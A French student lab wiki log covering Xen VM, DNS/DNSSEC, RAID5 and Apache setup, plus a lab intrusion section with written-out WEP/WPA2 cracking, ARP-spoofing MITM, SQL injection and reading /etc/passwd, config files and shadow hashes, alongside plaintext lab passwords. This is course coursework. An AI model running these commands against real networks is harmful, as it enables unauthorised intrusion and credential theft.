                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55076</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55076"/>
				<updated>2020-12-20T14:55:52Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Création de notre conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
